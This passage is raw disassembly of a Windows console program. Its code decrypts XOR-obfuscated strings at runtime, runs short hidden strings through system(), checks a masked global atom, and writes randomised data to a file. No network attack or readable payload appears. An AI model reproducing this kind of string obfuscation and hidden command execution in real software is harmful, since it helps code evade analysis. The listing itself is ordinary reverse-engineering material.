movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov edx, dword [rbp + 0x170]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14078e901
cmp r8d, 0x17
jge 0x14078ea53
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14078ea20
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x280]
call fcn.1407960c0
nop
cmp qword [rbp + 0x308], 0
je 0x140794e63
lea rcx, [rbp + 0x170]
call fcn.140788c60
nop
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp + 0x280]
call fcn.14079a730
lea rcx, [rbp + 0x288]
call fcn.140797730
test rax, rax
jne 0x14078eaf2
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x170]
call fcn.140797110
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x280], rax
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
jmp 0x14078eee7
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.s_vnd__RXOJfLYXZI_o_7F]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140826b50]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x140826b54]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x140826b56]
mov byte [rbp + 0xe6], al
mov r8d, esi
cmp r13d, 2
jl 0x14078ecce
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov edx, dword [rbp + 0x170]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14078ebc1
cmp r8d, 0x17
jge 0x14078ed13
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14078ece0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x280]
call fcn.1407960c0
nop
cmp qword [rbp + 0x308], 0
je 0x14079502e
lea rcx, [rbp + 0x170]
call fcn.140789be0
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.140797270
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, qword [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
div rbx
mov rbx, rdx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r8d, byte [rax + r12 + 0x826be0]
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
movsxd rax, ebx
mov byte [rax + rcx], r8b
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
inc r8d
test r8d, r8d
jle 0x14078ee3d
mov edi, r8d
nop dword [rax + rax]
mov rbx, qword [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
div rbx
mov rbx, rdx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r8d, byte [rax + r12 + 0x826be0]
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
movsxd rax, ebx
mov byte [rax + rcx], r8b
sub rdi, 1
jne 0x14078edf0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp + 0x280]
call fcn.14079a730
nop
lea rcx, [rbp + 0xd0]
call fcn.140797110
lea rcx, [rbp + 0x288]
call fcn.140797730
test rax, rax
jne 0x14078eea8
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x170]
call fcn.140797110
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x280], rax
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
lea rcx, [rbp + 0x288]
call fcn.140796010
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x328]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [0x14084dc98]
call fcn.1407a0160
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078f003
cmp r13d, 2
jl 0x14078efc0
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078f003
lea r9, [rbp + 0xc8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078efd0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.cDQPQFEQMUVB]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140826718]
movsd qword [rbp + 0xe0], xmm0
movzx eax, word [0x140826720]
mov word [rbp + 0xe8], ax
cmp byte [0x140826721], 0
je 0x14078f1fe
mov ecx, esi
cmp r13d, 2
jl 0x14078f1ba
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14078f0b0
cmp ecx, 0x1a
jge 0x14078f1fe
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1a
jl 0x14078f1d0
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
movzx eax, word [0x1408266b0]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.CA_RVR_R:]
movzx eax, byte [0x1408266b2]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
xor byte [rsp + 0x64], 0x34
xor byte [rsp + 0x65], 0x35
xor byte [rsp + 0x66], 0x36
xor byte [rsp + 0x67], 0x37
xor byte [rsp + 0x68], 0x38
xor byte [rsp + 0x69], 0x39
xor al, 0x3a
mov byte [rsp + 0x6a], al
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
jmp 0x14078f481
movups xmm0, xmmword [0x140827170]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [str.__0___g__8_9__46s_:_x3_79_6]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140827190]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408271a0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408271b0]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1408271c0]
movups xmmword [rbp + 0x120], xmm1
movzx eax, byte [0x1408271d0]
mov byte [rbp + 0x130], al
mov ecx, esi
cmp r13d, 2
jl 0x14078f42a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x14078f320
cmp ecx, 0x61
jge 0x14078f46e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x61
jl 0x14078f440
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078f583
cmp r13d, 2
jl 0x14078f543
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078f550
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
movsd xmm0, qword [str.CA_RVR_R:]
movsd qword [rbp - 0x28], xmm0
movzx ecx, word [0x1408266b0]
mov word [rbp - 0x20], cx
movzx eax, byte [0x1408266b2]
mov byte [rbp - 0x28], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x27], 0x31
xor byte [rbp - 0x26], 0x32
xor byte [rbp - 0x25], 0x33
xor byte [rbp - 0x24], 0x34
xor byte [rbp - 0x23], 0x35
xor byte [rbp - 0x22], 0x36
xor byte [rbp - 0x21], 0x37
xor cl, 0x38
mov byte [rbp - 0x20], cl
xor byte [rbp - 0x1f], 0x39
xor al, 0x3a
mov byte [rbp - 0x1e], al
lea rcx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
mov ecx, esi
test ax, ax
jne 0x14078fb26
movups xmm0, xmmword [str.SW__Q]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1408266c8]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x1408266d0]
mov byte [rbp + 0xe8], al
cmp r13d, 2
jl 0x14078f76d
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14078f663
cmp ecx, 0x19
jge 0x14078f7ae
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x19
jl 0x14078f780
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078f8b3
cmp r13d, 2
jl 0x14078f873
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078f8b3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078f880
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14084dab8]
call fcn.1407a0160
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.T__QY]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826940]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826950]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140826952]
mov byte [rbp + 0xf2], al
mov ecx, esi
cmp r13d, 2
jl 0x14078fa6a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x14078f960
cmp ecx, 0x23
jge 0x14078faae
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x14078fa80
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
movzx eax, word [0x1408266b0]
mov word [rsp + 0x78], ax
movsd xmm0, qword [str.CA_RVR_R:]
movzx eax, byte [0x1408266b2]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor byte [rsp + 0x74], 0x34
xor byte [rsp + 0x75], 0x35
xor byte [rsp + 0x76], 0x36
xor byte [rsp + 0x77], 0x37
